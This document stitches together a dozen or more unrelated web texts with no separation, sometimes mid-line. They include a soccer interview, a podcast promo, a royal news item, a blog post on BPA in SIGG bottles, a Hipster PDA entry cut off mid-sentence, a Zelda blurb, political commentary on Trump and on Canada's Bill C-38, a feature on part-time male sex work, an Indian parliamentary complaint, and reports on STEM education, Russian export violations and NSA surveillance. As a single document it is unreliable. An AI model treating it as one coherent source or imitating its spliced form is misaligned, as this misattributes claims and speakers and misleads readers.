Nana Attakora: I did not find out that he would be leaving DC until after I learned that I would be joining the club and I did look forward to playing with him. I played with him last year at a national team camp and we got to play together against the United States. I thought we did quite well against Eddie Johnson and Chris Wondolowski, two of the better strikers in MLS. It would have been fun to play with Dejan, but obviously he has moved on to a really good opportunity and I wish him nothing but the best.
RNO: Prior to coming back to MLS you had a couple of stints in Europe. What did you take away from your time in Europe?
Nana Attakora: That was interesting. There was a deal on the table in Germany that I probably should have taken. It was just at the time it did not make a lot of sense because we had Olympic qualifying coming up and the way the contract was set up wasn’t going to work for me or the club. So I moved away from that. But going to Finland was something that was just good for me mentally. 2011 had been a tough year for me, not just on the field, but off the field as well. So being able to go to a club and focus solely on soccer was so good for me and it really helped me to get myself back on track mentally. It was probably one of the better experiences I have had and I wouldn’t trade it for anything because it helped me to get to where I am today.
RNO: How is this current national team camp going for you and how are things going under Benito Floro?
Nana Attakora: I’m loving it. This is my second camp under him and I have learned so much already. This camp has been really good because we have a lot of young players who are so good. It is not normal how good these kids are. We played a game with the young players against the older players and they were beating us 2-1 at one point. They were actually killing us at one point in the match. They are good young players who still have a lot to learn, but I think the future for Canada is looking really good with some of these players coming up.With the MLS schedule out and the signings starting to take shape, it’s already getting exciting in Whitecapsland, two months before First Kick.
In the last of our three end of season roundtable discussions, AFTN writer Jay Duke, and Curva Collective’s Zachary Meisenheimer and Steven Lamothe join your regular podcast co-hosts to look at what Vancouver Whitecaps need to do next, after their best season in MLS so far, to take that next step and raise some silverware.
Carl Robinson now has two years under his belt as head coach. We cast a critical eye over his performance and his tactics, formations and man management.
Robbo likes his youth but is the team missing some players in their late 20s to add that bit more experienced heads and calming influence at key times? Is there real leadership on the team from captain Pedro Morales?
Do the ‘Caps need to splash the cash to challenge with the big spenders in the league or risk getting left behind? And with the roster now taking shape, who won’t be here come First Kick, are the team too heavy with DMs and how do you get the young homegrowns regular minutes in a pretty set starting line-up?
Where will, and what should, the Whitecaps priorities lie for this year ahead and are modern day footballers too pampered and whiny?
We chat about all of this and more. Have a listen!
You can listen to this, and all previous, episodes of the podcast on iTunes HERE.
Or download it for your later listening delight HERE.
We also have an iPhone app, so you can now add our podcast to your phone as an app. Visit the podcast’s mobile site HERE and then at the bottom of the screen just click the “Quick Launch” icon and the podcast will be added to your home screen and appear as an app.
And if that’s not enough, we’re on Stitcher Radio Network. Download the app and listen to the AFTN podcast on your device, along with over 20,000 other shows HERE.
Or after all that, you could just listen on the player below!Image copyright Getty Images Image caption Camilla gently tapped the "farmer" on one shoulder
The Duchess of Cornwall has "knighted a farmer" at the South of England Show - with a leek.
Camilla, who is the president of the South of England Agricultural Society, is in Ardingly in East Sussex for the show's 50th anniversary.
During her tour, an actor playing a grumpy farmer got down on one knee and begged her to "knight me please".
He told the shocked but amused duchess: "I'm wearing thigh high rubber just for you Madam."
Camilla tapped him gently on one shoulder but he complained: "Is that it, just the one shoulder?"
He added: "Oh you aren't the Queen, you can't do two?"
Camilla declined the request but told him his rubber was "very smart" before placing the leek back in its box.Michael Arrington of Techcrunch has said about blogging: "Better to get it fast than to get it right." And sometimes we do get it wrong. A year and a half ago I wrote about the issue of Bisphenol A in SIGG bottles, and spoke with Steve Wasik, the CEO of SIGG. I gave him a partial pass on his lack of openness about the composition of the liner on their bottles because he called it "proprietary."
Yesterday I spoke with him again, about their new press release describing their new BPA free liner and their past use of epoxy liners containing BPA. I did not ask the hard questions, like "why are you admitting this now and why did you not tell me this then?" but ate up his every word and gave him a partial pass again.
Then our commenters added their thoughts.
Karin said:
I'm really surprised by how easy you are going on SIGG and Mr. Wasick. SIGG lied by omission during all of 2007 and 2008 when people directly asked them if they had BPA in the bottle linings and all they said were "it's proprietary" And they made gobs and gobs of money selling their bottles, stoking the fear about plastic. I can't tell you how many young kids I see drinking out of their SIGG bottles; bottles that their parents bought specifically because they believed the linings to be BPA-free, a belief that SIGG encouraged.
ed said:
This is classic corporate BS and I for one will boycott their products forever. They should have admitted the BPA presence then, included the study showing little to no leaching, announced they were developing a new liner, and let the customer decide the risks. Instead they obfuscated the truth and kept cashing in on the reusable bottle craze, while developing a new liner. Shameless.
Karin concluded:
The bottom line is that SIGG has been purposefully disingenuous, and they made a ton of money doing so. The only reason Mr. Wasick is "admitting" to the BPA-lining is because it was going to be exposed in an industry newletter. Frankly, I expected a far more clear-eyed view from Treehugger.
Karin turns out to be right; an industry newsletter did come out with an exposé of epoxy lined aluminum bottles, link to SNEWs here. It is subscription only, but I reproduce portions of it below.
Steve Wasik is really good at his job; I don't believe he ever lied to me. But he never told the whole truth either, and I never asked the right questions. This has unfolded over a year and a half and I should have learned this lesson earlier. I have learned it now.
Thanks to all of you who bother to comment and keep us in check. You sometimes make us crazy, but it is one of the most valuable features of the medium.
SNEWS Article on Bisphenol A in Aluminum Bottles
Partially reproduced with permission of SNEWS® and author Michael Hodgson (you can sign up for a free subscription here to read the full story; on the basis of reading the complete article myself, I would recommend it)
Aluminum bottles you are selling may NOT be BPA-free
Aug 19, 2009
True or false: All aluminum bottles are BPA-free. The answer would be false.
When concern over BPA in polycarbonate bottles reached a feverish pitch in late 2007 and early 2008, those selling aluminum bottles, including SIGG and Laken, benefited greatly as retailers and consumers scrambled for water-carrying alternatives. SIGG reported at one point it could hardly keep up with consumer demand. Consumers, retailers and most mainstream media assumed incorrectly aluminum bottles were BPA-free
In truth, until quite recently, the lining of all aluminum bottles contained BPA. Even today, it appears most aluminum bottles coming out of China still are coated with epoxy linings that contain BPA.
Much of the past and current confusion stemmed from the fact that neither SIGG nor Laken publicly disclosed, prior to this article, that their bottle linings before August 2008 did contain BPA.
Telling the difference
Absent of labeling -- or information shared by a manufacturer -- it is very difficult to tell whether or not an aluminum bottle you are selling or your consumer is using is, in fact, BPA-free. The one common thread for an epoxy lining is that it is typically glossy, but truly, that is not much help. SNEWS recommends there should always be a suspicion that a lining contains BPA unless the manufacturer can certify the bottle is not made with an epoxy lining and is 100-percent BPA-free. To our knowledge, SIGG and Laken are the only companies currently manufacturing aluminum bottles with linings certified as BPA-free.
As of February 2009, every new Laken bottle that is BPA-free will say so right on the bottle itself, the company told us, as illustrated in the image above and to the right. For those bottles made prior to February 2009, the only way to tell the difference is to take a peek inside the bottle. According to Garrigues, "The BPA-free lining can be identified by its translucent gold color with a moderate uni-directional brushed appearance that underlies the coating. The previous coating was a well-polymerized, high-density, phenolic epoxy, with an opaque creamy white appearance."
SIGG is, for now, taking a less visually obvious approach -- you have to peek inside to determine an old coating from a new one. The company has distributed to its reps, retailers and all its customer service staff a document with the imagery shown to the left to illustrate the difference between the color of the company's new lining manufactured since August 2008 (the dull yellow color) and the color of the old, water-based epoxy lining used in production of all bottles prior to August 2008 (the copper bronze color).
In addition, Wasik told SNEWS, the company will distribute hangtags (image to the right and below) so its reps and staff can place them on all new BPA-free SIGG bottles currently in the market. These hangtags will start appearing on newly shipped bottles as of September 2009.
SNEWS® View: Finally, we have the full truth on the aluminum bottle front. How refreshing. Laken is now making a very concerted effort to drive awareness of BPA-free linings in aluminum bottles and point out that many aluminum bottles being sold today still contain BPA. The company has issued a press release that calls for BPA-free standards in reusable water bottles. This is all very good, and we commend Laken for this. SIGG, too, though a bit more quietly, is touting its new BPA-free lining as well as the fact that all new SIGG bottles are now being made with that lining.
Neither, however, can duck the fact that in 2007 and early 2008, both companies were selling large quantities of bottles, which consumers most likely believed were BPA-free.
Various chat rooms and blogs are full of discussions about the safety of the linings in aluminum bottles, including direct questions to the companies themselves regarding whether or not the linings of aluminum bottles contain BPA. At no time prior to this article did either SIGG or Laken admit or deny their linings contained BPA to the consumers, even though they certainly knew it by admission and by published information in catalogs as early as late 2006.
With all of that now past, we do hail both SIGG's and Laken's current openness to educate the public about BPA in aluminum bottle linings. We trust that both will do all each can to inform their respective consumers who purchased bottles that were believed to be BPA-free but in fact had linings that were not. And, "Oops, we're sorry, but as you know tests have show the BPA does not leach" really is not going to be enough. We might suggest an offer to exchange any old BPA-lined bottle sold in 2007 and 2008 with a new and truly BPA-free bottle. Now that would be doing the right thing.A Hipster PDA
The Hipster PDA is a paper-based personal organizer, popularized by Merlin Mann.[1] Originally a tongue-in-cheek reaction to the increasing expense and complexity of personal digital assistants, the Hipster PDA (said to stand for "Parietal Disgorgement Aid" and often abbreviated to "hPDA") simply comprises a sheaf of index cards held together with a binder clip. Following widespread coverage in the media[2][3] and blogs, the hPDA has become a popular personal management tool particularly with followers of David Allen's Getting Things Done methodology.
Although it began as a joke, or perhaps a statement about technology fetishism, the Hipster PDA has rapidly gained popularity with serious users,[4] with hundreds posting pictures of their customized hPDAs on |
eBay
Shop for Wario Land Series on Amazon.com
The Legend of Zelda: Oracle of Ages/Oracle of Seasons (GBC)
Release Date: 05/13/2001
See Game In Action
Key Technical Features:
Nothing gimmicky, but well-rounded graphics and sound
Game-linking capabilities
What Makes The Game Special:
As usual, Nintendo packaged a wonderful combination of graphics and music in this late entry of its landmark series for the Game Boy Color. If this had been on the original DMG-01, this choice would have been a no-brainer to be a top selection.
These two Zelda games started a partnership between Nintendo and Capcom and could be linked together to maximize gameplay. There wasn’t anything revolutionary, in these games on the technical end (the use of color was the strongpoint), but the games simply were painstakingly polished to bring one yet another wonderful Zelda title.
Shop for Oracle of Ages/Seasons on eBay
Shop for Oracle of Ages/Seasons on Amazon.com
Honorable MentionsDonald Trump enjoyed his biggest victory Tuesday in Massachusetts, where he won 49% of the vote, and his second biggest in Alabama with 43%.
Think about that for a moment.
Granted, primaries are a lot wilder than general elections, which have been extremely stereotyped by Red-Blue states ever since Ross Perot stopped running. The four Presidential elections in this century have been very consistent in terms of the states following similar rank orders from most Republican to most Democratic. For four elections in a row, the number of years the average white woman in 2002 could be expected to be married between 18 and 44 has proven a remarkably good predictor. My theory is that Red-Blue map of the states is related to what I call “A ffordable Family Formation:” states with cheaper housing relative to incomes encourage white people to get married and have kids, which makes the state likelier to vote for the Family Values party. Thus the Red (Republican) States tend to be the cheaper inland regions while the Democrats (Blue) due best where deep water limits metropolitan expansion and thus the price of real estate is higher.
One reason my 2004 discovery proved so enduring is because the GOP ran in 2012 Mitt Romney, a man with one marriage and 23 grandchildren.
But maybe that’s going to finally change. It’s not just Trump’s colorful family life, but that his appeal seems to tap into a different regional pattern. What Ross Douthat calls the “Trump Belt” appears to run from, say, Louisiana to New Hampshire. Granted, Trump did well in Nevada, but he’s a casino owner, so his appeal there is not inexplicable. (He lost to Cruz in the Mormon districts along the Utah border.)
If there is a Trump Belt, I don’t yet understand its causes.
Is it personal affect? As a laidback Southern Californian, Trump reminds me of the late George Steinbrenner, the extremely obstreperous owner of the New York Yankees, whom my Los Angeles Dodgers battled in the 1977, 1978, and 1981 World Series.
At that time, the Dodgers embodied the postwar corporate ethic of not airing your dirty laundry in public. The Dodger players were made to mouth to the press the boring cliches that Kevin Costner teaches Tim Robbins in Bull Durham: “We gotta play it one day at a time” and the like. Occasionally, something so lurid would happen behind closed doors, such as the 1978 locker room fistfight between Steve Garvey and Don Sutton over Sutton gossiping about Mrs. Garvey sleeping with Marvin “The Way We Were” Hamlisch, that it would leak out to the public, but that was considered bad form.
In contrast, Steinbrenner was constantly feuding in the tabloids with his own manager Billy Martin (whom he fired five times) and his stars Reggie Jackson and Thurman Munson. To Angelenos used to the O’Malley’s buttoned down operation, Steinbrenner’s verbal violence was unseemly. But that was a long time ago. So I don’t know how California will vote in June.
Still, there’s something to be said for shaking up the regional divisions of the country that have become calcified. A few individuals, such as Michael Hart, have been suggesting a division of the United States along the Red-Blue lines into separate countries so we stop getting on each other’s nerves so much.
Personally, I’m a Union man in the tradition of Jackson, Lincoln, and Grant, so I don’t much like that idea. But it would be nice for the long term stability of the United States to have some other regional dimension to organize the country’s enthusiasms and resentments around besides the Affordable Family Formation split of recent decades.A few times a week, when he isn’t taking care of his little sister or attending college classes, James happily makes house calls around Los Angeles—giving sexual massages to wealthy older men for some extra pocket change.
Once in a while, if the mood strikes and the offer is enticing enough—usually $1,000 or more—James will have sex with his clients. “One night can pay my rent for the month,” the 18-year-old told Fusion.
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James, who requested we change his name to protect his privacy, isn't a prostitute—at least, he doesn’t consider himself one. “It’s more like I am able to make someone happy and stress free, and they're willing to pay me,” he said.
Over the past few years, researchers who study the sex economy say they've seen a rise in gay men who sell sex on the side like it’s no big deal—and for these men, it’s not. The trend, according to researchers, can be traced to the explosion of social networking sites combined with a less-than-stable job market, along with increasingly permissive cultural views toward casual sex.
“Previously, men had to go to an outdoor venue, work for an agency, or advertise in the back pages of magazines and phone books to sell sex, now they can do it right from their phone,” said Kevin Walby, a professor of criminal justice at the University of Winnipeg and author of Touching Encounters: Sex, Work, and Male-for-Male Internet Escorting.
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James says he finds his clients through a variety of outlets. Social dating apps like Tinder and Grindr are full of men with dollar signs in their profile, and escort sites like Rentboy.com, BackPage.com, and Cowboys4angels.com also facilitate connecting people.
Related: How legal weed could change the future of sex
Craigslist, where James finds many of his clients, is another popular exchange for part-time sex work, said Christian Grov, an associate professor of public health at Brooklyn College who has studied male sex work extensively. In a survey, Grov found that the men advertising on the site don't identify as escorts. "This is not a community of sex workers," he told Fusion. Who is posting? "Someone who just needs to pay the rent."
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Someone like James—who took up his side job when finances got tight. “I want to make films and be a director,” he said. “I didn’t want to give up on that dream, and now I don’t have to.” He's grown to value the work he’s doing for his clients: "I now see it as a beautiful thing.”
More than a 'dirty side job'
While casual sex workers' primary motivation is earning extra cash, many also see the work as having larger value. They see it as a form of care work, akin to being a therapist or masseuse.
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"The way that these guys approach what they do is not strictly commercial. They do feel like they’re helping people," Walby told Fusion. "Whether it's psychological or physical, they talk about their work like occupational therapy or nursing."
Related: Going viral: Which STDs rule your city?
Several men we spoke with said much of the work involves touching, hugging, and baths. Most of the clients don't have time for a relationship, don’t have a lot of options in the love department for physical reasons (weight, age, disability), or simply haven't come out yet—making open intimacy difficult for them.
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With this in mind, Walby said society’s perception of sex work as shameful is dated. "It’s bizarre that we don’t include anything sexual in approaches to care or therapy,” he said—“that we divorce sexual touching from the notion of healing and caring."
Numerous studies have indeed shown the health benefits of intimacy and cuddling. For men who are unable to get it in their “real lives” and not bothered by the transactional nature of the encounter, paying a couple hundred dollars for sex or intimate behavior can help fill a painful void.
Hidden in plain sight
Rentboy.com is dedicated to connecting male escorts with clients, though the company told Fusion that it doesn't sell sex explicitly. "Escorting is selling your time by the hour. What you do in that hour is between you and client," said Hawk Kinkaid, Rentboy's COO and a former escort himself. "It can be anything from a dinner to a massage to a conversation.”
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Still, if you visit Rentboy's website, you'll notice that sex sells. Naked men of all shapes and sizes are featured with graphic screen names—and yes, you can search by penis size. The site charges men about $60 per month to promote themselves, but the fee can quickly pay off with one or two clients. Rates start at $250 dollars per hour, but Walby said he's heard of escorts being paid up to $700 dollars per hour.
Rentboy’s Kinkaid said less than a quarter of the men on the site are escorting full time. The other three-quarters are between jobs, in college or graduate school, or simply want extra cash.
Related: Why are HIV rates so high among straight black men?
Take Michael, an undergrad in Louisiana. He's been having sex for money for over two years, finding clients through Rentboy, social dating apps, and word of mouth. He's says he's been flown around the world—to Thailand, London, and other far-off locales—and seen clients that range from old men who want to be whipped to still-closeted homophobes.
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Michael, who also requested that we not use his real name to protect his privacy, said he escorts to pay for school. "I am a biology student, I am a certified nurse's aid," he told Fusion, "but I have loans to pay off." He said he’s held a variety of jobs—sometimes three at a time—working in hospice care and nursing homes. But none have paid as well as escorting.
Michael said sex work wasn’t part of his original plan—it just happened. His student loans came due, and he wasn’t making enough to pay them off. He had a friend who paid for law school by escorting, so he decided to give it a try himself. "I never imagined I would be doing this,” he said. “I didn't grow up thinking I would do this, but at the end of the day, you do what you gotta do."
He knows there is a stigma that comes with the work, but ultimately, he sticks with it because it pays and he finds it fulfilling. "To say you don't develop a relationship with your clients would be a lie,” he said. “At some point, you don't even look at them like clients anymore."
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Why is the rise happening among men?
Of course, just like full-time sex work, casual sex work can be dangerous. "You always have to be careful," Michael told Fusion. "You're always thinking, okay, is this guy gonna kill me or drug me?"
Men’s sex work does, of course, come with risks, but it tends to be safer than women’s sex work. “The risk profile for women and transgender workers is more complicated,” said Walby. For example, it’s pretty standard that female escorts will visit clients with bodyguards—active female prostitutes are 18 times more likely to be murdered than the general population.
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Walby, who has also researched female sex workers, said that while many women feel empowered by their work, they also tend to be more afraid of potential repercussions. "In my research the women were definitely more worried about violence and more worried about stigmatization—if word got out, they seemed to feel it would be more damaging for their lives than the men did."
Related: Why cuddling is good for your health
But what about that stigma? Obviously, having sex for money part-time puts these men at risk for being discovered in their "real lives." Kinkaid said he's heard reports of men getting fired from jobs when their employers found out they were or are on Rentboy (either through word of mouth or, yes, by discovering them on the site themselves).
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And what about their personal romantic lives? Neither James nor Michael is currently dating anyone, but sex researchers Walby and Grov said they've seen a range of scenarios: Some part-time sex workers hide the work from their partners, while others disclose it. And some relationships survive the sex work, while others don't. It's a mixed bag.
These casual sex workers aren't shouting about their work from the rooftops, but the men we spoke with said they aren’t burdened by feelings of worry, guilt, or shame. True, they aren't telling their mothers (too personal) or bosses (for fear of discrimination or other repercussions), but they're open about the work with close friends.
"I have to pay for my education, this is how I can do that,” said Michael. So many people get into this to pay for school, to pay for medical work, or dental work—you have no idea." And the clients? "It's so funny how people judge, considering my clients are city officials, lawyers, your friends, your co-workers—heck, your priest.”
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James, too, said he understands that some people might judge him, but he feels proud of his work. “I know I am a good person,” he said. “I like making people feel good. So now I just ride with it, and doing this allows me to take care of my mom and my sister."
He added: “You’re either doing it for free or you’re getting paid for it. I get paid for it.”
Taryn Hillin is Fusion's love and sex writer, with a large focus on the science of relationships. She also loves dogs, Bourbon barrel-aged beers and popcorn — not necessarily in that order.Okay, agreed. There's is nothing about Stephen Harper that suggests he is a big joker. He doesn't speak in public except in modulated monotones. Very reassuring, like Prozac. No off-script moments of hilarity. No pirouettes in the hallways.
But I had to wonder. Was he going for political satire? Some sort of self-referential pop cultural joke in kicking off the budget implementation bill debate? I mean, he must have read Andrew Coyne's piece in the National Post. Noting that a huge number of non-budgetary matters are stuffed in the over 420 pages of C-38, much of it dramatically changing environmental laws, Coyne wrote, "This is not remotely a budget bill, despite its name," further noting that while throwing non-budgetary matters into a budget bill is not unknown, in C-38, "The scale and scope are on a level not previously seen, or tolerated."
(Or if the PM didn't read it, he must have people who read it for him and left post-it notes somewhere he would see saying, "Coyne and others seem to have noticed the budget bill is crammed full of new laws to remove environmental protection. Offence to democracy alleged...must deflect.")
No sign of recognizing anger is stirring across the land. They went for the Full Monty as it were. No shame.
The kick-off speaker to the Budget Implementation Bill? Not the Minister of Finance. No sir. What would Flaherty have to say about a budget bill anyway? The lead Conservative Speaker was Natural Resources Minister Joe Oliver. Say it ain't so, Joe.
He gave the standard Harper "energy super power" message. It goes like this:
Canada is an energy super-power -- in the same way a business in bankruptcy is a super-power. Everything must go. We are running out of time to sell everything fast. Oil-hungry markets won't wait.
Really? "We need to act quickly," said Joe Oliver in the House today. But the existing pipeline infrastructure is, according to Canadian Association of Petroleum Producers projections, sufficient to meet demand until oil sands production expands by 150 per cent. (Testimony of former government petroleum geologist, J. David Hughes, to the NEB Joint Review Panel on the Enbridge Northern Gateway Project).
Minister Oliver cited many statistics from the International Energy Agency (IEA), establishing that the world is energy-hungry and oil-thirsty...without once mentioning the IEA urgent warnings about the climate crisis. The IEA is screaming from the rooftops (figuratively speaking, but the reports are increasingly frantic) that time is running out to reduce dependency on fossil fuels to avoid the catastrophic impacts of climate change at its worst. No reference either to Mr. Harper's promise to eliminate fossil fuel subsidies (now there's a budget measure), promised in 2009 at the G-20, underscored in every IEA report as an urgent step, which the PM has steadfastly ignored. No reference to the International Energy Agency advice that Canada needs to put a price on carbon.
And then for more laughs, in answer to a question from one of his colleagues, Mr. Oliver said, "Mr. Speaker, the whole point of this exercise is to ensure that we have a robust environmental review of major projects... under the aegis of the Canadian Environmental Protection Agency."
Now, in fairness to Mr. Oliver, there is no particular reason he should know much about the environmental laws C-38 is destroying. He is not the author of this strategy; the Prime Minister is. And the fact that Canada doesn't have an agency called the Canadian Environmental Protection Agency is not something he has to know...Peter Kent should know it, and, of course, he spoke next. No sign of the finance minister...but what would he have to contribute to a debate about freeing the oilsands and mining from the tyranny of environmental laws. I expected to hear, "Free at last, free at last..." from some conservative script, recycling the end of the long-gun registry invocation of the Rev. Martin Luther King in more triumphalist Libertarian oratory.
With 420 pages plus of detailed, complex and sweeping changes to laws originally passed decades ago, any thought that there was even a hint of shame in the Conservative strategy was dashed. Within the first hours of debate, Peter Van Loan made a motion to invoke time allocation on Bill C-38. After all, we are in a hurry.
None of this is funny. It is an outrage. PLEASE, if you are angry, say so. Please insist that your MP work to pull the environmental laws impacted by this bill (Canadian Environmental Assessment Act*, Fisheries Act, Navigable Waters Protection Act, Species at Risk Act, Canadian Environmental Protection Act, National Round Table on Environment and Economy Act*, Kyoto Protocol Implementation Act*), out of the so-called budget bill.
(Note: the bills marked with * are repealed in C-38. CEAA is replaced with a brand new, gutted version of environmental assessment law, which, at this rate will be passed by the end of June -- without a single day of hearings before the environment committee).Text of letter dated July 3, 2014 addressed by Shri Sitaram Yechury, Leader of CPI(M) Group in Rajya Sabha, to the Hon’ble Speaker of Lok Sabha regarding the outrageous remarks made by Trinamool Congress MP, Shri Tapas Pal.
“Shri Tapas Pal, MP in the 16th Lok Sabha from Trinamool Congress had made a highly objectionable statement publicly in a gathering at his constituency Krishnanagar “If anyone from the Opposition dares to touch any women then I will send my boys and get women of CPI(M) raped.” He also says that he roams around with ‘maal’ (revolver) and will not hesitate to use it on his opponents. This video was apparently showing in all the media on 1st July 2014 and now available with the media.
”This is a clear cut case of ethical misconduct on the part of Shri Tapas Pal which had led to denigrating the image of Parliamentarians and is also an unbecoming conduct on the part of the Member.
“It is therefore, kindly requested that the above said act of ethical misconduct may be referred to Committee on Ethics and suitable punitive action may be taken against the Member.”The conventional wisdom these days is that the United States needs more people trained in the fields of science, technology, engineering and mathematics (STEM). In a future with global competition built around advanced manufacturing, the thinking goes, young Americans are going to need those skills to succeed.
How to translate that need into a revamped K-12 and higher education system, though, is an ongoing debate. President Obama wants to recruit and train 100,000 new teachers in the STEM subjects. The Common Core standards, which will be implemented in nearly every state starting next year, are tailored toward STEM. But a few conservative governors want to go a step farther. They've suggested it's time to stop spending money on a traditional liberal arts education and instead focus our resources on classes and degrees connected directly to those new jobs in advanced manufacturing.
North Carolina Gov. Pat McCrory caused an uproar a few months ago when he claimed that an "educational elite" had created a college curriculum that doesn't benefit students and doesn't guarantee that they'll be employed when they enter the real world. "If you want to take a gender studies course, that's fine. Go to a private school, and take it," McCrory said in an interview with conservative talk show host Bill Bennett. "But I don't want to subsidize that if that's not going to get someone a job."
McCrory isn't the only one to voice that kind of sentiment. Wisconsin Gov. Scott Walker said at the end of last year that he wanted to target state funds in part based on whether the state's colleges and universities are enrolling students in high-demand majors, such as the STEM fields. "If you want money, we need you to perform," Walker said in a well-publicized speech. "In higher education, that means not only degrees, but are young people getting degrees in jobs that are open and needed today -- not just the jobs that the universities want to give us, or degrees that people want to give us."
In Florida, a state-appointed task force recommended in November some policies along those lines, suggesting that public colleges and universities charge students less for a degree in "high-skill, high-wage, high-demand" fields and more for degrees in other subjects, presumably those more associated with the traditional liberal arts education. That didn't quite come to fruition, but a bill signed by Gov. Rick Scott last week did provide financial incentives for higher education institutions to grow their high-tech degree programs.
Still, there is plenty of support for the more traditional liberal arts education. Earlier this month, the Association of American Colleges and Universities (AAC&U) released a survey of 318 prospective employers arguing that its findings contradict this focus on putting students into specific degree programs. They point to one survey result in particular: 93 percent of employers said that a job candidate's ability to think critically, communicate clearly and solve complex programs was more important than their actual undergraduate major.
Those kinds of skills are exactly what a liberal arts education is supposed to equip students with, says Debra Humphreys, vice president for policy and public engagement at AAC&U.
"There's always been a certain amount of skepticism about the liberal arts, in the sense that people associate it with a certain elitism in higher education," Humphreys says. She notes that people often link liberal arts to the humanities, such as anthropology and sociology, but in reality, it also includes sciences like biology and chemistry. Colleges have to better educate the public about the benefits of the broad knowledge base that a liberal arts education provides, she says.
"The downturn in the economy and the rising cost of college has absolutely focused people's attention on the value question," Humphreys says. "When you do that, then I think this confusion makes it very difficult for people to understand what we're investing in."
Moreover, there's some new evidence that suggests the supposed dearth of STEM-educated Americans is a myth. The main takeaway from a study released last week by the Economic Policy Institute, a liberal think tank, was that there is "more than a sufficient supply of workers available to work in STEM occupations."
So if we already have enough STEM degree holders out there, why are governors like McCrory and Walker so keen on cracking down on the liberal arts?
It might be more about politics than policy, says Humphreys. "I think it's taking a cheap shot at something they perceive to be an easy target, to make themselves appear that they were serious about higher education," she says. "I think that's pretty dangerous as a social policy. It's telling students something that isn't true."HOUSTON The allegations that a naturalized U.S. citizen obtained military technology for Russia through his Texas export firm have the makings of a 1980s spy film.
Prosecutors say Alexander Fishenko and others sold cutting-edge microelectronics that could be used in Russian weapons systems, exchanged communications with Russian intelligence and tried to hide documents when they suspected authorities were onto them.
Much of the case has to do with forgeries of documents and changing of information, CBS News senior correspondent John Miller reports. The indictment quotes messages between the Russians saying, about the documents, to "make it up pretty, correctly" and "make sure it looks good, make sure that these are listed as things that can be used on fishing boats and not anti-submarine craft."
Fishenko and six others charged in the alleged scheme were expected to appear Thursday morning in Houston federal court.
An indictment unsealed Wednesday accuses Fishenko of scheming to purposely evade strict export controls for cutting-edge microelectronics. It also charges Fishenko with money laundering and operating inside the United States as an unregistered agent of the Russian government.
Sources in the Russian defense industry complex denied any connection with the people detained in the United States, according to the Interfax news agency.
Fishenko was born in the former Soviet Union in what is now Kazakhstan and owns Houston-based Arc Electronics Inc. He and seven others were in custody following raids there by the FBI.
The name of Fishenko's attorney was not immediately available. His wife, Viktoria, who was identified as a co-owner of her husband's business but not charged, declined to comment Wednesday.
"I will speak when I know what's going on," she said.
The Russian Foreign Ministry in a statement noted that the defendants had not been charged with espionage. Officials said diplomats have met with one of the detained suspects. Foreign Ministry spokesman Alexander Lukashevich lamented the fact that the United States failed to inform the Russian authorities of the impending arrests.
The indictment alleges that since October 2008, the 46-year-old Fishenko and his co-defendants "engaged in a surreptitious and systematic conspiracy" to obtain the highly regulated technology from U.S. makers and export them to Russia.
U.S. authorities say the microelectronics could have a wide range of military uses, including radar and surveillance systems, weapons guidance systems and detonation triggers. They also say the charges come amid a modernization campaign by Russian military officials hungry for the restricted, American-made components.
"The defendants tried to take advantage of America's free markets to steal American technologies for the Russian government," Loretta Lynch, U.S. attorney in Brooklyn, said in a statement.
Stephen L. Morris, head of the FBI office in Houston, called the charges an example of how some countries have sought to bypass export safeguards "to improve their defense capabilities and to modernize weapons systems at the expense of U.S. taxpayers."
According to court papers, Fishenko was born in the former Soviet Republic of Kazakhstan and graduated from a technical institute in St. Petersburg before coming to America in 1994. He holds U.S. and Russian passports and has frequently traveled overseas to do business, making tens of millions of dollars on exports, authorities said.
An analysis of Arc's accounting records showed a "striking similarity between fluctuations in Arc's gross revenues and the Russian Federation's defense spending over the last several years," the court papers say. Investigators also recovered a letter to Arc from a Russian domestic intelligence agency lab complaining that microchips supplied by the company were defective, the papers add.
Phone calls and emails intercepted by U.S. investigators also "constitute devastating evidence of Fishenko's illegal procurement for the Russian government," the court papers say.
Prosecutors said the evidence revealed repeated attempts by Fishenko to cover his tracks. In one instance in March, he "directed an employee of a Russian procurement firm to `make sure that our guys don't discuss extra information, such as this is for our military client,"' the papers say.
In an earlier conversation, Fishenko favorably referred to a business associate using "a Russian colloquialism for `spy' or `secret agent,"' the papers add.
About a dozen FBI agents in Houston executed a search warrant on Wednesday at Fishenko's firm, an unmarked business located in an industrial area in southwest Houston. They took at least 18 cardboard boxes of materials from inside the business to a large truck parked in an alley in the back of the business.
Under sentencing guidelines, Fishenko faces more than 12 years in prison if convicted on all charges.In October 2012, United States Solicitor General Donald Verrilli Jr. was in a tight spot.
Seeking dismissal of a legal challenge against an NSA warrantless electronic surveillance program, the Department of Justice had taken the position that the rabble-rousers represented by the ACLU had no standing to sue because they couldn’t prove they had been subjected to surveillance. But who, if anyone, could prove they were harmed by a program cloaked in secrecy?
Verrilli was ready with an answer: those criminals who had been caught by the program. In both written and oral arguments, the solicitor general assured the Supreme Court that the DOJ was bound by law to notify defendants when the program was used against them, stating that if the government planned to use evidence derived from the surveillance in court, “it must provide advance notice to the tribunal and the person.” It was an effective argument and one the Court ultimately found persuasive.
It just wasn’t true. While the DOJ had utilized warrantless electronic surveillance to identify suspects for years, no criminal defendant had received such notice. Ever. Once this discrepancy was exposed, the DOJ reversed course and began providing notice to defendants in late 2013.
Yet the critical question of how and why the Obama administration misled our highest court remains unresolved.
Verrilli’s false assurance to the Court came in the context of the ACLU’s lawsuit — Clapper v. Amnesty International USA –– challenging the constitutionality of the National Security Agency’s warrantless surveillance authority under Title VII of the Foreign Intelligence Surveillance Act, codified as U.S. Code § 1881a.
Title VII, which was added by Section 702 of the FISA Amendments Act of 2008, provides statutory authority for warrantless surveillance. Specifically, Section 702 allows the NSA to obtain electronic communications (phone, email, etc.) of targets “reasonably believed to be located outside the United States,” from telecoms and internet service providers without a court order. Though it was not known at the time of the suit, because of information provided last summer by Edward Snowden we now know the internet collection program was known within the NSA as PRISM. The ACLU suit argued that the law vests the executive branch with “sweeping and virtually unregulated authority to monitor the international communications – and in some cases, purely domestic communications – of law-abiding U.S. citizens and residents.”
